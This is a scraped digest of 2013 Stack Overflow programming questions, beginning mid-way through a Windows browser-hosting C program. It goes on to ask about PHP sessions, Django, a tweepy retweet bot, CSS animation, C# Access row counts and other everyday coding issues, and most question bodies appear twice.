*)GetProcAddress((HINSTANCE)cwebdll, "DisplayHTMLStr");
// Register the class of our window to host the browser.
'WindowProc' is our message handler
// and 'ClassName' is the class name. You can choose any class
name you want.
ZeroMemory(&wc, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.hInstance = hInstance;
wc.lpfnWndProc = WindowProc;
wc.lpszClassName = &ClassName[0];
RegisterClassEx(&wc);
// Create another window with another browser object embedded in it.
if ((msg.hwnd = CreateWindowEx(0, &ClassName[0], "Emergency Alert
System", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0,
HWND_DESKTOP, NULL, hInstance, 0)))
{
// For this window, display a URL. This could also be a HTML
file on disk such as "c:\\myfile.htm".
(*lpDisplayHTMLPage)(msg.hwnd, "http://www.google.com");
// Show the window.
ShowWindow(msg.hwnd, nCmdShow);
UpdateWindow(msg.hwnd);
}
// Do a message loop until WM_QUIT.
while (GetMessage(&msg, 0, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Free the DLL.
FreeLibrary(cwebdll);
return(0);
}
MessageBox(0, "Can't open cwebpage.dll! You are not protected by
Emergency Alerting System. Click OK to terminate this application.
Contact the developer, Scott Plunkett.", "ERROR", MB_OK);
return(-1);
}
It took this from an example tutorial I found, I have never done any
windows programming before so I had to figure out a quick solution.
I appreciate any and all help on this.
Pascal's Triangle Algorithm Analysis
Pascal's Triangle Algorithm Analysis
Do you think the pseudocode below is correct for calculating pascal's
triangle? What would its time and space complexity be like? and how can I
calculate it?
pascal triangle(n){
list<list<int>> triangle // double list saving the triangle
triangle.get(0).add(1)
for(int i=1; i<n; i++){
for(int j=0; j<i; j++){
if(triangle.get(i-1).get(j)==null ||
triangle.get(i-1).get(j-1)==null)
triangle.get(i).add(1)
else
triangle.get(i-1).add(triangle.get(i-1).get(j)+triangle.get(i-1).get(j-1))
}
}
print(triangle)
}
Do you think the pseudocode below is correct for calculating pascal's
triangle? What would its time and space complexity be like? and how can I
calculate it?
pascal triangle(n){
list<list<int>> triangle // double list saving the triangle
triangle.get(0).add(1)
for(int i=1; i<n; i++){
for(int j=0; j<i; j++){
if(triangle.get(i-1).get(j)==null ||
triangle.get(i-1).get(j-1)==null)
triangle.get(i).add(1)
else
triangle.get(i-1).add(triangle.get(i-1).get(j)+triangle.get(i-1).get(j-1))
}
}
print(triangle)
}
How to replace session_register() for PHP 5.4+
How to replace session_register() for PHP 5.4+
out of the blue I was getting the following error when logging in to one
of my sites:
Call to undefined function session_register()
After some research I saw that session_register() is deprecated after PHP
5.4. I checked in my hosting control panel, and sure enough it says
current version I'm running is PHP 5.4.19. I assume they just forced an
upgrade which is why this problem seemed to occur out of the blue.
I looked through several Stack Overflow posts and reviewed links to PHP
documentation. From what I gather, session_register() is deprecated and
should be replaced with $_SESSION instead.
Problem is, both of those already appear in my code. Here is the code in
my index.php file:
53 <? if ($username) {
54 session_register("ADMIN");
55 $_SESSION['ADMIN'] = $username;
56 ?>
So I hoped just by removing line 54 (the deprecated piece) then it should
work, however that is not the case. It broke the code when I did that.
Based on other posts I read HERE and HERE they seem to be saying that the
code I see in line 55 above should by itself do the trick. So I'm a bit
confused why it didn't work. If anyone can tell me what code I should use
I would sincerely appreciate it. The developer of the script is not really
offering support.
out of the blue I was getting the following error when logging in to one
of my sites:
Call to undefined function session_register()
After some research I saw that session_register() is deprecated after PHP
5.4. I checked in my hosting control panel, and sure enough it says
current version I'm running is PHP 5.4.19. I assume they just forced an
upgrade which is why this problem seemed to occur out of the blue.
I looked through several Stack Overflow posts and reviewed links to PHP
documentation. From what I gather, session_register() is deprecated and
should be replaced with $_SESSION instead.
Problem is, both of those already appear in my code. Here is the code in
my index.php file:
53 <? if ($username) {
54 session_register("ADMIN");
55 $_SESSION['ADMIN'] = $username;
56 ?>
So I hoped just by removing line 54 (the deprecated piece) then it should
work, however that is not the case. It broke the code when I did that.
Based on other posts I read HERE and HERE they seem to be saying that the
code I see in line 55 above should by itself do the trick. So I'm a bit
confused why it didn't work. If anyone can tell me what code I should use
I would sincerely appreciate it. The developer of the script is not really
offering support.
Why and how respond to OpenDolphin 'ValueChanged' confirmation
Why and how respond to OpenDolphin 'ValueChanged' confirmation
I have simple grails server/groovyfx app, where openDolphin is used for
client/server communication.
Here is what happening: When CMD_LOG command is sended from client to
server, server updates one value of presentationModel and responds: Whats
up?. OpenDolphin does one more action, client send 'ValueChanged'
confirmation, server acepts it, and responds empty command, and client
receives it.
My question is, HOW can I implement custom respond to 'ValueChanged', for
example check corresponding value in DB, or if client is allowed to change
it. And WHY is respond sended, when I did not implement it? I dont feel
well about sending empty messages out of my control.
Little bit of code, on client side, this closure is called on button press:
def sendToServer = { message ->
clientDolphin.send(message, new OnFinishedHandlerAdapter() {
@Override
public void onFinished(List<ClientPresentationModel>
presentationModels) {
// after action on server, this wants to read changed
presentation model
}
}
});
}
client log:
INFO: C: sending batch of size 1
IX 17, 2013 7:46:59 ODP. java_util_logging_Logger$info$0 call
INFO: C: -> Command: CMD_LOG
IX 17, 2013 7:46:59 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
INFO: C: server responded with 2 command(s): [ValueChanged, Whats up?]
IX 17, 2013 7:46:59 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
INFO: C: updating 'x' id '0' from 'null' to '10'
IX 17, 2013 7:46:59 ODP. java_util_logging_Logger$info$0 call
INFO: C: sending batch of size 1
IX 17, 2013 7:46:59 ODP. java_util_logging_Logger$info$0 call
INFO: C: -> Command: ValueChanged attr:0, null -> 10
IX 17, 2013 7:46:59 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
SEVERE: C: cannot handle unknown command 'Command: Whats up?'
IX 17, 2013 7:47:00 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
INFO: C: server responded with 0 command(s): []
Server side, corresponding action handler:
class SimpleStoreServerDirector extends DolphinServerAction {
@Override
void registerIn(ActionRegistry actionRegistry) {
actionRegistry.register "CMD_LOG", { NamedCommand command,
response ->
def pm = serverDolphin.findPresentationModelById("input")
changeValue pm["x"], 10
response.add(new NamedCommand("Whats up?"))
}
}
And finally, server log:
Creating new Dolphin session
LOG: proccessing Command: CreatePresentationModel pmId input pmType null
attributes [[id:0, propertyName:x, tag:VALUE, value:null, qualifier:null]]
LOG results: []
LOG: proccessing Command: CMD_LOG
LOG results: [Command: ValueChanged attr:0, null -> 10, Command: Whats up?]
LOG: proccessing Command: ValueChanged attr:0, null -> 10
LOG results: []
Thaks in advace for answers, or any useful doc or tutorials references.
I have simple grails server/groovyfx app, where openDolphin is used for
client/server communication.
Here is what happening: When CMD_LOG command is sended from client to
server, server updates one value of presentationModel and responds: Whats
up?. OpenDolphin does one more action, client send 'ValueChanged'
confirmation, server acepts it, and responds empty command, and client
receives it.
My question is, HOW can I implement custom respond to 'ValueChanged', for
example check corresponding value in DB, or if client is allowed to change
it. And WHY is respond sended, when I did not implement it? I dont feel
well about sending empty messages out of my control.
Little bit of code, on client side, this closure is called on button press:
def sendToServer = { message ->
clientDolphin.send(message, new OnFinishedHandlerAdapter() {
@Override
public void onFinished(List<ClientPresentationModel>
presentationModels) {
// after action on server, this wants to read changed
presentation model
}
}
});
}
client log:
INFO: C: sending batch of size 1
IX 17, 2013 7:46:59 ODP. java_util_logging_Logger$info$0 call
INFO: C: -> Command: CMD_LOG
IX 17, 2013 7:46:59 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
INFO: C: server responded with 2 command(s): [ValueChanged, Whats up?]
IX 17, 2013 7:46:59 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
INFO: C: updating 'x' id '0' from 'null' to '10'
IX 17, 2013 7:46:59 ODP. java_util_logging_Logger$info$0 call
INFO: C: sending batch of size 1
IX 17, 2013 7:46:59 ODP. java_util_logging_Logger$info$0 call
INFO: C: -> Command: ValueChanged attr:0, null -> 10
IX 17, 2013 7:46:59 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
SEVERE: C: cannot handle unknown command 'Command: Whats up?'
IX 17, 2013 7:47:00 ODP.
org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoCachedMethodSiteNoUnwrap
invoke
INFO: C: server responded with 0 command(s): []
Server side, corresponding action handler:
class SimpleStoreServerDirector extends DolphinServerAction {
@Override
void registerIn(ActionRegistry actionRegistry) {
actionRegistry.register "CMD_LOG", { NamedCommand command,
response ->
def pm = serverDolphin.findPresentationModelById("input")
changeValue pm["x"], 10
response.add(new NamedCommand("Whats up?"))
}
}
And finally, server log:
Creating new Dolphin session
LOG: proccessing Command: CreatePresentationModel pmId input pmType null
attributes [[id:0, propertyName:x, tag:VALUE, value:null, qualifier:null]]
LOG results: []
LOG: proccessing Command: CMD_LOG
LOG results: [Command: ValueChanged attr:0, null -> 10, Command: Whats up?]
LOG: proccessing Command: ValueChanged attr:0, null -> 10
LOG results: []
Thaks in advace for answers, or any useful doc or tutorials references.
PHP website directory structure
PHP website directory structure
I am developing a PHP website. But I am confused about the directory
structure. My home directory structure is like this:
-index.php
-header.php
-footer.php
-product.php
-Folder1/index.php
-Folder2/InnerFolder/index.php
I have included header and footer in every page. Now I want the same
header.php and footer.php to be called by all index.php pages. But it
shows the other pages missing which are included from header. (e.g. CSS )
For Folder1 : I achieved it by changing my navigation links in header with
"../" But How would I do this for Folder2/InnerFolder ?
In short what is the ideal( and perfect) way to organize the pages which
won't disturb the future addition of new internal folders and their
index.php pages.
Please reply for your best practises.
Thanks
I am developing a PHP website. But I am confused about the directory
structure. My home directory structure is like this:
-index.php
-header.php
-footer.php
-product.php
-Folder1/index.php
-Folder2/InnerFolder/index.php
I have included header and footer in every page. Now I want the same
header.php and footer.php to be called by all index.php pages. But it
shows the other pages missing which are included from header. (e.g. CSS )
For Folder1 : I achieved it by changing my navigation links in header with
"../" But How would I do this for Folder2/InnerFolder ?
In short what is the ideal( and perfect) way to organize the pages which
won't disturb the future addition of new internal folders and their
index.php pages.
Please reply for your best practises.
Thanks
Sunday, 15 September 2013
Web application cache control
Web application cache control
Ok, I have a Glassfish 4 application server running under the ip say
50.50.50.25 and binded to i.e. app.myhost.com.
When I access to the main page via using the plain IP address 50.50.50.25
the network statistics are
12 requests ❘ 153 KB transferred ❘ 1.92 s (load:
2.32 s, DOMContentLoaded: 2.32 s)
If I open it via the address app.myhost.com the network statistics are
12 requests ❘ 417 KB transferred ❘ 3.53 s (load:
3.73 s, DOMContentLoaded: 3.68 s)
My chrome browser gets half of the requests from cache when the page is
accessed via ip address so it loads faster.
I am just confused how can I make my static content loaded from cache or
force it 304 not modified?
Ok, I have a Glassfish 4 application server running under the ip say
50.50.50.25 and binded to i.e. app.myhost.com.
When I access to the main page via using the plain IP address 50.50.50.25
the network statistics are
12 requests ❘ 153 KB transferred ❘ 1.92 s (load:
2.32 s, DOMContentLoaded: 2.32 s)
If I open it via the address app.myhost.com the network statistics are
12 requests ❘ 417 KB transferred ❘ 3.53 s (load:
3.73 s, DOMContentLoaded: 3.68 s)
My chrome browser gets half of the requests from cache when the page is
accessed via ip address so it loads faster.
I am just confused how can I make my static content loaded from cache or
force it 304 not modified?
Django prefetch_related From Model With Multiple ManyToMany Relationships
Django prefetch_related From Model With Multiple ManyToMany Relationships
Say I have a few models in Django:
class Foo(models.Model):
bars = models.ManyToManyField(Bar)
bazs = models.ManyToManyField(Baz)
class Bar(models.Model):
quxs = models.ManyToManyField(Qux)
I can use prefetch_related to get all Bars belonging to Foo and all Quxs
belonging to Bar with:
Foo.objects.prefetch_related('bars__quxs')
But how can I use prefetch_related to get this information as well as all
the Bazs belonging to Foo? Would something like:
Foo.objects.prefetch_related('bars__quxs', 'bazs')
work?
Say I have a few models in Django:
class Foo(models.Model):
bars = models.ManyToManyField(Bar)
bazs = models.ManyToManyField(Baz)
class Bar(models.Model):
quxs = models.ManyToManyField(Qux)
I can use prefetch_related to get all Bars belonging to Foo and all Quxs
belonging to Bar with:
Foo.objects.prefetch_related('bars__quxs')
But how can I use prefetch_related to get this information as well as all
the Bazs belonging to Foo? Would something like:
Foo.objects.prefetch_related('bars__quxs', 'bazs')
work?
Detecting iPhone color
Detecting iPhone color
Recently Apple shows the new iPhones 5s and 5c this devices have to many
colors, white, pink, yello, blue, green, space grey, gold and silver...
wow is to many, but my question is:
I will to create an App with the possibility to detecting the color of the
device to turn the UI in the specific color for that device.
Now I know your answer, NO is NOT possible, and give me a minus vote, but
I ask to please take a moment to ponder on iTunes with your device
connected if is iPhone or iPad, because when you connect your device,
iTunes is able to detect the color, and show on the device page the
exactly color Black/White or iPod colors.
Someone know the method on xcode objectiveC to do that?
Or is only an ability for iTunes?
Recently Apple shows the new iPhones 5s and 5c this devices have to many
colors, white, pink, yello, blue, green, space grey, gold and silver...
wow is to many, but my question is:
I will to create an App with the possibility to detecting the color of the
device to turn the UI in the specific color for that device.
Now I know your answer, NO is NOT possible, and give me a minus vote, but
I ask to please take a moment to ponder on iTunes with your device
connected if is iPhone or iPad, because when you connect your device,
iTunes is able to detect the color, and show on the device page the
exactly color Black/White or iPod colors.
Someone know the method on xcode objectiveC to do that?
Or is only an ability for iTunes?
imageButton and OnClientClick
imageButton and OnClientClick
I have a Imagebutton.
<asp:ImageButton
OnClientClick="alert('Du hast nun das
Jetzt-Spielen-Feature aktiviert. \r\nEs zeigt
anderen Nutzern von RPone in der Online-Liste
hinter deinem Namen an, dass du jetzt gerne
ein neues RPG beginnen würdest.\n\rDies hält
30 Minuten und deaktiviert sich automatisch,
wenn du es nicht vorher deaktivierst.')"
OnClick="linkBtnNowPlay_Click"
ID="imgButtonNewPlay"
ImageUrl="~/Images/star1.gif" runat="server"
/>
works like charm but
<asp:ImageButton OnClick="linkBtnNowPlay_Click" ID="imgButtonNewPlay"
ImageUrl="~/Images/star1.gif" runat="server" />
and
imgButtonNewPlay.OnClientClick = "alert('test')";
on Serverside does not, why? I must have it on server side because I must
include an if statement before
I have a Imagebutton.
<asp:ImageButton
OnClientClick="alert('Du hast nun das
Jetzt-Spielen-Feature aktiviert. \r\nEs zeigt
anderen Nutzern von RPone in der Online-Liste
hinter deinem Namen an, dass du jetzt gerne
ein neues RPG beginnen würdest.\n\rDies hält
30 Minuten und deaktiviert sich automatisch,
wenn du es nicht vorher deaktivierst.')"
OnClick="linkBtnNowPlay_Click"
ID="imgButtonNewPlay"
ImageUrl="~/Images/star1.gif" runat="server"
/>
works like charm but
<asp:ImageButton OnClick="linkBtnNowPlay_Click" ID="imgButtonNewPlay"
ImageUrl="~/Images/star1.gif" runat="server" />
and
imgButtonNewPlay.OnClientClick = "alert('test')";
on Serverside does not, why? I must have it on server side because I must
include an if statement before
PHP multi- dimentional array merge
PHP multi- dimentional array merge
i have a multi-dimentional array:
$array['hello'][0][0]='a';
$array['hello'][0][1]='b';
$array['hello'][0][2]='c';
$array['hello'][0][3]='d';
$array['hello'][1][0]='e';
$array['hello'][1][1]='f';
$array['hello'][1][2]='g';
.... // and so on
i want to merge them all and want it as
$hello[1] = 'a';
$hello[2] = 'b';
$hello[3] = 'c';
$hello[4] = 'd';
$hello[5] = 'e';
$hello[6] = 'f';
$hello[7] = 'g';
.... // and so on
now i have been using array_merge :
$hello = array_merge($array['hello'][0],$array['hello'][1]);
But in this i have to be specific regarding the keys ie. 0,1 . what if
keys are not known.
Is there any other way to do it ??
i have a multi-dimentional array:
$array['hello'][0][0]='a';
$array['hello'][0][1]='b';
$array['hello'][0][2]='c';
$array['hello'][0][3]='d';
$array['hello'][1][0]='e';
$array['hello'][1][1]='f';
$array['hello'][1][2]='g';
.... // and so on
i want to merge them all and want it as
$hello[1] = 'a';
$hello[2] = 'b';
$hello[3] = 'c';
$hello[4] = 'd';
$hello[5] = 'e';
$hello[6] = 'f';
$hello[7] = 'g';
.... // and so on
now i have been using array_merge :
$hello = array_merge($array['hello'][0],$array['hello'][1]);
But in this i have to be specific regarding the keys ie. 0,1 . what if
keys are not known.
Is there any other way to do it ??
what are reusability metrics for evaluation of discovered services in service oriented architecture?
what are reusability metrics for evaluation of discovered services in
service oriented architecture?
I want to evaluate reusability of discovered services in my approach which
is a method for service discovery in "service oriented architecture", how
can I do this? What are the metrics?
Soodeh
service oriented architecture?
I want to evaluate reusability of discovered services in my approach which
is a method for service discovery in "service oriented architecture", how
can I do this? What are the metrics?
Soodeh
Can I generate an image from jqplot's jqplotToImageStr({}) function in IE 8 and previous?
Can I generate an image from jqplot's jqplotToImageStr({}) function in IE
8 and previous?
I rely on jqplot's jqplotToImageStr({}) function to generate a png as
base64 string from my chart. Then I'm sending the base64 representation to
the server to do my job. The problem is that jqplotToImageStr({}) returns
null when browser (<= IE 8) does not support canvas. Is there a way I can
successfully use jqplotToImageStr({}) even in browsers non-aware of
canvas?
8 and previous?
I rely on jqplot's jqplotToImageStr({}) function to generate a png as
base64 string from my chart. Then I'm sending the base64 representation to
the server to do my job. The problem is that jqplotToImageStr({}) returns
null when browser (<= IE 8) does not support canvas. Is there a way I can
successfully use jqplotToImageStr({}) even in browsers non-aware of
canvas?
Saturday, 14 September 2013
Filestream/Streamwriter not assigning values correctly
Filestream/Streamwriter not assigning values correctly
I have no experience with Filestream of StreamWriter so I am not sure if
there is something obvious that I am missing or not understanding.
I have a method that is using attributes from its current class, and
writing them to lines within a file, but it just seems to write blank
values to the file.
public void FileWrite()
{
FileStream fs = new FileStream("test.txt", FileMode.Append,
FileAccess.Write);
StreamWriter sw = new StreamWriter(fs);
sw.WriteLine("Title = " + title);
sw.WriteLine("Name = " + fName);
sw.WriteLine("Last name = " + lName);
sw.WriteLine("Gender = " + gender);
sw.WriteLine("Medicare no = " + medicareNo);
sw.WriteLine("Height = " + height);
sw.WriteLine("Weight = " + weight);
sw.WriteLine("Age = " + age);
sw.WriteLine("Daily Recommended calories = " + cal);
sw.WriteLine("Ideal Weight = " + idealWeight);
sw.Flush();
sw.Close();
fs.Close();
Readfile();
}
Any help would be much appreciated as I have not worked with Filestream or
StreamWriter in the past.
I have no experience with Filestream of StreamWriter so I am not sure if
there is something obvious that I am missing or not understanding.
I have a method that is using attributes from its current class, and
writing them to lines within a file, but it just seems to write blank
values to the file.
public void FileWrite()
{
FileStream fs = new FileStream("test.txt", FileMode.Append,
FileAccess.Write);
StreamWriter sw = new StreamWriter(fs);
sw.WriteLine("Title = " + title);
sw.WriteLine("Name = " + fName);
sw.WriteLine("Last name = " + lName);
sw.WriteLine("Gender = " + gender);
sw.WriteLine("Medicare no = " + medicareNo);
sw.WriteLine("Height = " + height);
sw.WriteLine("Weight = " + weight);
sw.WriteLine("Age = " + age);
sw.WriteLine("Daily Recommended calories = " + cal);
sw.WriteLine("Ideal Weight = " + idealWeight);
sw.Flush();
sw.Close();
fs.Close();
Readfile();
}
Any help would be much appreciated as I have not worked with Filestream or
StreamWriter in the past.
Python program run fine on Windows but not Linux
Python program run fine on Windows but not Linux
Currently, I'm working as a social manager for my company. Part of the job
is to manage several Twitter account for each department of the company.
Months ago, the boss said, "whenever the company post a new status, all
the department have to retweet it". That easy, but it really depressed
since i have to login, then logout all the account just to click retweet
button. So, i have an idea to make a small tool which can handle the job
for me.
The tool come with 2 files, and use tweepy module to handle oAuth, check
for new tweet and post retweet.
The first is spy.py: it will watch the company twitter to see if a new
tweet posted for each 30 minute.
import time
import tweepy
def spyMode(new_id):
# Setup spy agent
spy_consumer_key = 'spy_consumer_key'
spy_consumer_secret = 'spy_consumer_secret'
spy_access_token = 'spy_access_token'
spy_access_token_secret = 'spy_access_token_secret'
spy_auth = tweepy.OAuthHandler(spy_consumer_key, spy_consumer_secret)
spy_auth_url = spy_auth.get_authorization_url()
spy_auth.set_access_token(spy_access_token, spy_access_token_secret)
# Sleeping
print 'Spy is preparing, please wait...!'
time.sleep(1800)
print 'Prepare done, start spying now...!'
# Spy for new tweet from target user
spy_api = tweepy.API(auth_handler=spy_auth)
for status in spy_api.user_timeline(id='CompanyTwitter', count=1):
new_id = status.id
return new_id
The second one, named retweet.py. It's job is idle when the spy is running
and retweet when new status posted.
import time
import tweepy
import random
from spy import spyMode
account_file = 'deparment.txt'
account_line = 0
last_id = 0
new_id = 0
class ExtractAccount(object):
#This part is just to extract token information
pass
if __name__ == '__main__':
while True:
spy_id = spyMode(new_id)
if spy_id != last_id:
print 'Okay, spy see a new tweet ' + str(spy_id) + ' has been
posted!'
for account_line in xrange(deparmentCount):
try:
# Setup user agent
le_consumer_key = 'le_consumer_key'
le_consumer_secret = 'le_consumer_secret'
le_access_token = ExtractAccount().access_token()
le_access_token_secret =
ExtractAccount().access_token_secret()
le_time = time.strftime('%X')
auth = tweepy.OAuthHandler(le_consumer_key,
le_consumer_secret)
auth_url = auth.get_authorization_url()
auth.set_access_token(le_access_token,
le_access_token_secret)
# Create retweet for latest status
api = tweepy.API(auth_handler=auth)
if api.retweet(spy_id):
print 'At ' + le_time + ' a new retweet has been
created!'
except Exception as e:
print e
pass
account_line += 1
# Reset the bot
last_id = spy_id
account_line = 0
print 'Okay, you are good now!\n'
else:
print 'Spy has been sent, but found nothing!\n'
This tool running fine on my Windows machine, but when i upload it to the
company server which use CentOs. The retweet.py could not authenticate as
it said:
[{u message': Could not authenticate you', code': 32}]
Does everyone face this before? I know there are difference between Python
for Windows and Linux but i can't solve this!
Currently, I'm working as a social manager for my company. Part of the job
is to manage several Twitter account for each department of the company.
Months ago, the boss said, "whenever the company post a new status, all
the department have to retweet it". That easy, but it really depressed
since i have to login, then logout all the account just to click retweet
button. So, i have an idea to make a small tool which can handle the job
for me.
The tool come with 2 files, and use tweepy module to handle oAuth, check
for new tweet and post retweet.
The first is spy.py: it will watch the company twitter to see if a new
tweet posted for each 30 minute.
import time
import tweepy
def spyMode(new_id):
# Setup spy agent
spy_consumer_key = 'spy_consumer_key'
spy_consumer_secret = 'spy_consumer_secret'
spy_access_token = 'spy_access_token'
spy_access_token_secret = 'spy_access_token_secret'
spy_auth = tweepy.OAuthHandler(spy_consumer_key, spy_consumer_secret)
spy_auth_url = spy_auth.get_authorization_url()
spy_auth.set_access_token(spy_access_token, spy_access_token_secret)
# Sleeping
print 'Spy is preparing, please wait...!'
time.sleep(1800)
print 'Prepare done, start spying now...!'
# Spy for new tweet from target user
spy_api = tweepy.API(auth_handler=spy_auth)
for status in spy_api.user_timeline(id='CompanyTwitter', count=1):
new_id = status.id
return new_id
The second one, named retweet.py. It's job is idle when the spy is running
and retweet when new status posted.
import time
import tweepy
import random
from spy import spyMode
account_file = 'deparment.txt'
account_line = 0
last_id = 0
new_id = 0
class ExtractAccount(object):
#This part is just to extract token information
pass
if __name__ == '__main__':
while True:
spy_id = spyMode(new_id)
if spy_id != last_id:
print 'Okay, spy see a new tweet ' + str(spy_id) + ' has been
posted!'
for account_line in xrange(deparmentCount):
try:
# Setup user agent
le_consumer_key = 'le_consumer_key'
le_consumer_secret = 'le_consumer_secret'
le_access_token = ExtractAccount().access_token()
le_access_token_secret =
ExtractAccount().access_token_secret()
le_time = time.strftime('%X')
auth = tweepy.OAuthHandler(le_consumer_key,
le_consumer_secret)
auth_url = auth.get_authorization_url()
auth.set_access_token(le_access_token,
le_access_token_secret)
# Create retweet for latest status
api = tweepy.API(auth_handler=auth)
if api.retweet(spy_id):
print 'At ' + le_time + ' a new retweet has been
created!'
except Exception as e:
print e
pass
account_line += 1
# Reset the bot
last_id = spy_id
account_line = 0
print 'Okay, you are good now!\n'
else:
print 'Spy has been sent, but found nothing!\n'
This tool running fine on my Windows machine, but when i upload it to the
company server which use CentOs. The retweet.py could not authenticate as
it said:
[{u message': Could not authenticate you', code': 32}]
Does everyone face this before? I know there are difference between Python
for Windows and Linux but i can't solve this!
Java regex: how to get rid of redundant patterns from (X) (Y) (X and Y)
Java regex: how to get rid of redundant patterns from (X) (Y) (X and Y)
I am writing Java regex patterns and have run into a situation where I
expect X or X or both but no null.
So the following regex pattern works fine for this.
(X)|(Y)|(XY)
But the problem is that X and Y can be quite long and I have to write a
lot of this kind, which means a lot of redundancy and maintenance
headache.
(X)?(Y)? doesn't work because it can match null which I don't want.
Thanks for reading my posting and I will greatly appreciate your help.
I am writing Java regex patterns and have run into a situation where I
expect X or X or both but no null.
So the following regex pattern works fine for this.
(X)|(Y)|(XY)
But the problem is that X and Y can be quite long and I have to write a
lot of this kind, which means a lot of redundancy and maintenance
headache.
(X)?(Y)? doesn't work because it can match null which I don't want.
Thanks for reading my posting and I will greatly appreciate your help.
Which data model appropriate?
Which data model appropriate?
I have a news reader project on IOS. I created my entities as:
NewsSource
NewsCategory
List item
News
I think that if I create NewsSource in SQLite I can't add a new source to
NewsSource entity without application update.
How can I add a new row to NewsSource without application update or
is that data model appropriate for my project ?
Thanks.
I have a news reader project on IOS. I created my entities as:
NewsSource
NewsCategory
List item
News
I think that if I create NewsSource in SQLite I can't add a new source to
NewsSource entity without application update.
How can I add a new row to NewsSource without application update or
is that data model appropriate for my project ?
Thanks.
Animation using Class Name in Javascript
Animation using Class Name in Javascript
I am trying to animate a div by adding a CSS class name to it on click of
a button. But this works only for the first time. Next time I click the
button and add the CSS class name, it doesn't animate the div. What am I
doing wrong here?
<head>
<script>
function abc() {
document.getElementById("a").className = "";
document.getElementById("a").className =
document.getElementById("a").className + " b";
}
</script>
<style>
#a {
width:100px;
height:100px;
background:red;
position:relative;
}
.b {
animation-name:myfirst;
animation-duration:5s;
animation-timing-function:linear;
animation-delay:2s;
animation-iteration-count:1;
animation-direction:alternate;
animation-play-state:running;
}
@keyframes myfirst
{
0% {background:red; left:0px; top:0px;}
25% {background:yellow; left:200px; top:0px;}
50% {background:blue; left:200px; top:200px;}
75% {background:green; left:0px; top:200px;}
100% {background:red; left:0px; top:0px;}
}
@-webkit-keyframes myfirst /* Safari and Chrome */
{
0% {background:red; left:0px; top:0px;}
25% {background:yellow; left:200px; top:0px;}
50% {background:blue; left:200px; top:200px;}
75% {background:green; left:0px; top:200px;}
100% {background:red; left:0px; top:0px;}
}
</style>
</head>
<body>
<div id="a" class="c"></div>
<button onclick="abc()">Click</button>
</body>
I am trying to animate a div by adding a CSS class name to it on click of
a button. But this works only for the first time. Next time I click the
button and add the CSS class name, it doesn't animate the div. What am I
doing wrong here?
<head>
<script>
function abc() {
document.getElementById("a").className = "";
document.getElementById("a").className =
document.getElementById("a").className + " b";
}
</script>
<style>
#a {
width:100px;
height:100px;
background:red;
position:relative;
}
.b {
animation-name:myfirst;
animation-duration:5s;
animation-timing-function:linear;
animation-delay:2s;
animation-iteration-count:1;
animation-direction:alternate;
animation-play-state:running;
}
@keyframes myfirst
{
0% {background:red; left:0px; top:0px;}
25% {background:yellow; left:200px; top:0px;}
50% {background:blue; left:200px; top:200px;}
75% {background:green; left:0px; top:200px;}
100% {background:red; left:0px; top:0px;}
}
@-webkit-keyframes myfirst /* Safari and Chrome */
{
0% {background:red; left:0px; top:0px;}
25% {background:yellow; left:200px; top:0px;}
50% {background:blue; left:200px; top:200px;}
75% {background:green; left:0px; top:200px;}
100% {background:red; left:0px; top:0px;}
}
</style>
</head>
<body>
<div id="a" class="c"></div>
<button onclick="abc()">Click</button>
</body>
In Sublime Text 2 how can I pass the current file path to a command called by a key binding
In Sublime Text 2 how can I pass the current file path to a command called
by a key binding
I'm working with sublime text 2 build 2221, on Windows 8; python 2.7.
I want to pass the name of the file I'm currently working on in st2 to a
command by calling a key binding like this:
{ "keys": ["ctrl+shift+1"],"command": "my_command", "args":{"argument":"$1" }
where "$1" gets replaced with the name of the file in the current view,
i.e. the file I'm looking at when hitting the keys. How would I go about
this?
I found the following references here and here which seem to talk about
this but I couldn't get it to work.
Relevant quotes from the links:
Link 1:
...
"args": {
"contents": "console.log('=== HEARTBEAT $TM_FILENAME
[$TM_LINE_NUMBER] ===');${0}"
...
--------------------------------------------------------------------------------------------
Link 2:
$TM_FILENAME Filename of the file being edited including extension.
by a key binding
I'm working with sublime text 2 build 2221, on Windows 8; python 2.7.
I want to pass the name of the file I'm currently working on in st2 to a
command by calling a key binding like this:
{ "keys": ["ctrl+shift+1"],"command": "my_command", "args":{"argument":"$1" }
where "$1" gets replaced with the name of the file in the current view,
i.e. the file I'm looking at when hitting the keys. How would I go about
this?
I found the following references here and here which seem to talk about
this but I couldn't get it to work.
Relevant quotes from the links:
Link 1:
...
"args": {
"contents": "console.log('=== HEARTBEAT $TM_FILENAME
[$TM_LINE_NUMBER] ===');${0}"
...
--------------------------------------------------------------------------------------------
Link 2:
$TM_FILENAME Filename of the file being edited including extension.
How to count total number of rows of an access database table using c# 2010?
How to count total number of rows of an access database table using c# 2010?
string constr = @"Provider=Microsoft.Jet.OLEDB.4.0; Data
Source=C:\Users\yogi\Documents\mydb.mdb";
string cmdstr = "select * from quant_level1";
OleDbConnection con = new OleDbConnection(constr);
OleDbCommand com = new OleDbCommand(cmdstr, con);
con.Open();
OleDbDataReader reader = com.ExecuteReader();
reader.Read();
DataSet data = new DataSet();
int i = data.Tables["quant_level1"].Rows.Count;
Label2.Text = i.ToString();
string constr = @"Provider=Microsoft.Jet.OLEDB.4.0; Data
Source=C:\Users\yogi\Documents\mydb.mdb";
string cmdstr = "select * from quant_level1";
OleDbConnection con = new OleDbConnection(constr);
OleDbCommand com = new OleDbCommand(cmdstr, con);
con.Open();
OleDbDataReader reader = com.ExecuteReader();
reader.Read();
